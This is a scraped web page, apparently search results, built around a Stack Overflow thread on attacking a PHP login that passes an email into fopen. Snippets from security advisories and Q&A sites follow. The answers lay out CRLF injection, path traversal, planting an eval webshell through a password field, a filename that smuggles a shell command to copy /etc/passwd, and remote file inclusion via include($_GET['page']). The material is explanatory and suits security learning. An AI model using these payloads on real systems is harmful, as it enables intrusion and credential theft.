I think they're referring to the CRLF vulnerability.

In your sample exploit code, you're passing some php code, but that's not what you would do.

The goal is to make fopen open a file from the internet. If the $email variable contains two strings separated by a CRLF, you can have fopen() visit an external website there where it's not supposed to.

All depending on what happens with the $fh file descriptor after, it will determine how you will take advantage of that.

Here's a link I found on that vulnerability: http://www.securiteam.com/unixfocus/5OP0C0A8AC.html

EDIT after you posted more code:

We're starting with that you can force $password to the value you want.

So the name of the game is forcing $pass to the value you want, such that strcmp returns true, and you get logged in without knowing any password.

$pass is controlled in that last statement $pass = fgets($fh)

And if you use the CRLF vulnerability to point fopen to open a URL that you host, e.g. http://your.ip.address/your-file, and inside that file, you set the same data as you set in $password. And that should allow you to login without registration.

But there are some weird things in the code, e.g. :

$last = fgets(first = fgets(pass = fgets($fh);

Seems like the code might not be complete, because here the values of $last, $first and $pass will always all be the same which makes no sense. That would be one vector to consider.

Possibility #2 - File traversal:

Using ../ inside your $email variable, you will be able to access a different file in fopen that it outside the acounts/ folder.

If you run:

<?php
$fh = fopen("acounts/../../test.sh","r");
?>

It evaluates successfully and looks for two folders up for the contents of test.sh. So you can probe the contents of the file system via the $email variable. Then the name of the game is finding a standard file which you know the contents for, feed it in $password, and you can login the system without registration.

Possibility #3 - Register an email address ending with .php:

As mentioned by drew010, assuming you are allowed to register a custom account, then by registering an $email ending in .php, and putting eval() php code inside $password when registering your account, that will create a backdoor file inside acounts/ named after your $email that you can access via the web.

Answer from Wadih M. on Stack Overflow
Top answer
1 of 2
5

I think they're referring to the CRLF vulnerability.

In your sample exploit code, you're passing some php code, but that's not what you would do.

The goal is to make fopen open a file from the internet. If the $email variable contains two strings separated by a CRLF, you can have fopen() visit an external website there where it's not supposed to.

All depending on what happens with the $fh file descriptor after, it will determine how you will take advantage of that.

Here's a link I found on that vulnerability: http://www.securiteam.com/unixfocus/5OP0C0A8AC.html

EDIT after you posted more code:

We're starting with that you can force $password to the value you want.

So the name of the game is forcing $pass to the value you want, such that strcmp returns true, and you get logged in without knowing any password.

$pass is controlled in that last statement $pass = fgets($fh)

And if you use the CRLF vulnerability to point fopen to open a URL that you host, e.g. http://your.ip.address/your-file, and inside that file, you set the same data as you set in $password. And that should allow you to login without registration.

But there are some weird things in the code, e.g. :

$last = fgets(first = fgets(pass = fgets($fh);

Seems like the code might not be complete, because here the values of $last, $first and $pass will always all be the same which makes no sense. That would be one vector to consider.

Possibility #2 - File traversal:

Using ../ inside your $email variable, you will be able to access a different file in fopen that it outside the acounts/ folder.

If you run:

<?php
$fh = fopen("acounts/../../test.sh","r");
?>

It evaluates successfully and looks for two folders up for the contents of test.sh. So you can probe the contents of the file system via the $email variable. Then the name of the game is finding a standard file which you know the contents for, feed it in $password, and you can login the system without registration.

Possibility #3 - Register an email address ending with .php:

As mentioned by drew010, assuming you are allowed to register a custom account, then by registering an $email ending in .php, and putting eval() php code inside $password when registering your account, that will create a backdoor file inside acounts/ named after your $email that you can access via the web.

2 of 2
4

Since the file it opens to store user data is referenced as $accountfile = "./acounts/" . $email it looks like one possible attack vector would be to try to register an account using an email address like [email protected] (or just username.php depending on whether there's proper validation).

Since it writes (presumably unhashed?) your password to that file, you can set your password to something evil (e.g. <?php eval($_REQUEST['x'] ?>).

Then, see if you can access http://thesite/accounts/[email protected]?x=echo 'hi'; and see if 'hi' is printed out to the browser.

If that's the case, then have fun with $_REQUEST['x'] and get it to do things like write arbitrary files to the system (a webshell) or open and read other files and print their contents.

🌐
Exploit-DB
exploit-db.com › papers › 13652
File Traverse Fopen
March 28, 2010 - File Fopen The Traverse is a vulnerability that would allow an attacker to using fopen in a way hijacked giving it the ability to write it on any other directory than the original (to make easier, it can write the entire question).
🌐
Reddit
reddit.com › r/c_programming › why is fopen considered unsafe?
r/C_Programming on Reddit: Why is fopen considered unsafe?
July 30, 2023 -

Hello,

  1. Why is fopen considered unsafe by MSVC?

  2. Why should fopen_s be more secure?

  3. Is it really necessary to use fopen_s or can I continue to use fopen, perhaps with an extra check?

  4. fopen_s is not cross-platform, correct?

Top answer
1 of 1
29

A call to fopen is not in itself a TOCTOU vulnerability. By definition, TOCTOU involves two operations: a “check” and a “use”.

A common example of TOCTOU vulnerability is checking access permissions with access before opening a file. It's a bug (race condition) because the permissions might change between checking and opening, and it's usually a vulnerability because file permissions are important for security.

The access system call is highly suspicious because there aren't many ways to use it that don't introduce a TOCTOU. The fopen call in itself is not particularly suspicious because there are many ways to use it that are safe. However this doesn't mean that access is the only way to make a TOCTOU with fopen.

An example of race condition that can occur when opening files is if you got the file name from some external source, and you make assumptions about that name. For example, if you build the argument to fopen by concatenating a directory name with a file name, and you've made some checks on the directory, that's a TOCTOU vulnerability as well. The checks on the directory may no longer be valid by the time you use the directory to open a file. That's why Linux has the openat system call: so you can call opendir on a directory, perform checks on the directory, then call openat to open a file inside that directory (whereas open with concatenated names would open a file in a directory which now has this name, but may not be the one you checked).

So yes, you do need to care. Your code may or may not have a vulnerability. In my very limited experience, Klocwork does have a lot of false positives, but not everything is a false positive. Start by reading the complete message carefully. Review your code carefully, with written-down security objectives, and track how these security objectives are met (or not). There's no miracle: writing correct and secure code is harder than just applying a checklist.

🌐
IBM X-Force Exchange
exchange.xforce.ibmcloud.com › vulnerabilities › 10080
PHP fopen() and file() CRLF injection CVE-2002-1783 Vulnerability Report
This is caused by an input validation vulnerability in the fopen() function, the file() function, and possibly other functions that can occur, if the "allow_url_fopen()" directive is enabled.
🌐
Wisc
research.cs.wisc.edu › mist › papers › safeopen.pdf pdf
How to Open a File and Not Get Hacked James A. Kupsch Barton P. Miller
is always used without O EXCL, so fopen is vulnerable to · the symbolic link attacks described above when creating a · file. The permissions of a newly created file are implicitly · derived from the process’s umask value (all the read and · write permissions are enabled except those ...
🌐
Exploit-DB
exploit-db.com › exploits › 13652
File Traverse Fopen - Multiple papers Exploit
March 28, 2010 - File Fopen The Traverse is a vulnerability that would allow an attacker to using fopen in a way hijacked giving it the ability to write it on any other directory than the original (to make easier, it can write the entire question).
🌐
Blog by Jay Mutkawoa
tunnelix.com › a-brief-description-of-the-fopen-php-vulnerability
A brief description of the fopen PHP vulnerability – Blog by Jay Mutkawoa (Nitin)
January 3, 2019 - One of the PHP vulnerability that is still being found on many websites is the fopen function in PHP - CVE-2007-0448. You can secure your website by disabling includes when calling the fopen function.
🌐
CVE Details
cvedetails.com › cve › CVE-2007-0448
CVE-2007-0448 : The fopen function in PHP 5.2.0 does not properly handle invalid URI handlers, w
May 24, 2007 - CVE-2007-0448 : The fopen function in PHP 5.2.0 does not properly handle invalid URI handlers, which allows context-dependent attackers to bypass safe_mode restrictio
Find elsewhere
🌐
SEI CERT
wiki.sei.cmu.edu › confluence › display › c › FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification
FIO01-C. Be careful using functions that use file names for identification - SEI CERT C Coding Standard - Confluence
In this noncompliant code example, the file identified by file_name is opened, processed, closed, and removed. However, it is possible that the file object identified by file_name in the call to remove() is not the same file object identified by file_name in the call to fopen().
Top answer
1 of 3
6

A sample attack scenario using allow_url_fopen that allows me to download your password file:

  1. Suppose your app allows me to provide a URL to a remote image, which you will download and use as my avatar image.
  2. I provide the following URL: "http://my.malicious.example.com/sbwoodside.jpg;cp%20/etc/passwd%20downloads/foo.jpg;"
  3. Your app uses allow_url_fopen to download the file and stores it as "sbwoodside.jpg;cp%20/etc/passwd%20downloads/passwords.txt;". I have now successfully injected a command into the filename.
  4. Your app wants to compress and resize my image, so you use ImageMagick on the command line with something like exec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg")
  5. What does exec actually execute? If you haven't sanitized the filename, then it executes the following on the shell:

magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg

Since ; is a command delimited on the shell, that will be broken by the shell automatically into the following separate commands:

magick convert -size 128x128 sbwoodside.jpg cp /etc/passwd downloads/passwords.txt sbwoodside.jpg cp /etc/passwd downloads/passwords.txt .128.jpg

And now I just go to http://yourapp.com/downloads/passwords.txt and download your password file. Of course, I can do anything I want, since I'm executing commands as your web server on your system.

2 of 3
1

It depends on you! how you designed your applications and are you considered security during all software development life-cycle?

Consider insecure code below that loads web pages according to request parameter (page):

<?php
include($_GET['page']);
?>

And now consider an attacker includes malicious PHP code by using:

?page=http://example.com/badcode-php.txt

He can then bypass all security measure from your site and do anything (accessing local files, uploading another files, etec).

So its recommended that to turn of allow_urL_fopen and allow_url_include to minimize remote file execution attack.

🌐
Open-std
open-std.org › jtc1 › sc22 › wg14 › www › docs › n1339.pdf pdf
#1 fopen() exclusive access with “x”
cause fopen() to fail rather than open a file that already exists. This is necessary to · eliminate a time-of-creation to time-of-use race condition vulnerability. The ISO/IEC 9899-1999 C standard function fopen() is typically used to open an · existing file or create a new one.
🌐
HackerOne
hackerone.com › reports › 2078571
Report #2078571 - [curl] CVE-2023-32001: fopen race ...
CVE-2023-32001 - fopen race condition VULNERABILITY libcurl can be told to save cookie, HSTS and/or alt-svc data to files. When doing this, it called stat() followed by fopen() in a way that made it vulnerable to a TOCTOU race condition problem. By exploiting this flaw, an attacker could trick ...
🌐
HackerOne
hackerone.com › reports › 2039870
curl disclosed on HackerOne: CVE-2023-32001: fopen race condition
July 4, 2023 - As we can see in the following curl code (line 59-61 https://github.com/curl/curl/blob/fb802b521af997230b65174a559f5c419520e142/lib/fopen.c ): ```C if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) { /* a non-regular file, fallback to direct fopen() */ *fh = fopen(filename, FOPEN_WRITETEXT); ... } ... ``` There is a race condition between the moment "stat(filename, &sb)" is...
🌐
curl
curl.se › docs › CVE-2023-32001.html
curl - fopen race condition - CVE-2023-32001
libcurl can be told to save cookie, HSTS and/or alt-svc data to files. When doing this, it called stat() followed by fopen() in a way that made it vulnerable to a TOCTOU race condition problem.
🌐
Wazeesupperclub
wazeesupperclub.com › is-fopen-a-vulnerability
Is Fopen a vulnerability? – Wazeesupperclub.com
An arbitrary command execution vulnerability exists in the fopen() function of file writes of UCMS v1.
🌐
SEI CERT
wiki.sei.cmu.edu › confluence › x › -tYxBQ
FIO03-C. Do not make assumptions about fopen() and file creation - SEI CERT C Coding Standard - Confluence
Starting in C11 a new mode suffix ("x") was added to the fopen() function which causes fopen() to return NULL if the file already exists or cannot be created [ISO/IEC 9899:2011].
🌐
Beagle Security
beaglesecurity.com › blog › support › vulnerability › 2018 › 07 › 02 › PHP-allow_url_fopen-is-enabled.html
PHP allow_url_fopen is enabled
The allow_url_fopen carries a risk of:- Enabling Remote File Execution Access Control Bypass Information Disclosure Attacks If an attacker can inject a remote URI into the file function.
🌐
Acunetix
acunetix.com › vulnerabilities › web › php-allow_url_fopen-is-enabled
PHP allow_url_fopen Is Enabled - Vulnerabilities - Acunetix
When enabled, this directive allows data retrieval from remote locations (web site or FTP server). A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling allow_url_fopen and bad input filtering.
🌐
NIST
nvd.nist.gov › vuln › detail › CVE-2020-25483
CVE-2020-25483 Detail - NVD
October 23, 2020 - This is a potential security issue, you are being redirected to https://nvd.nist.gov · Official websites use .gov A .gov website belongs to an official government organization in the United States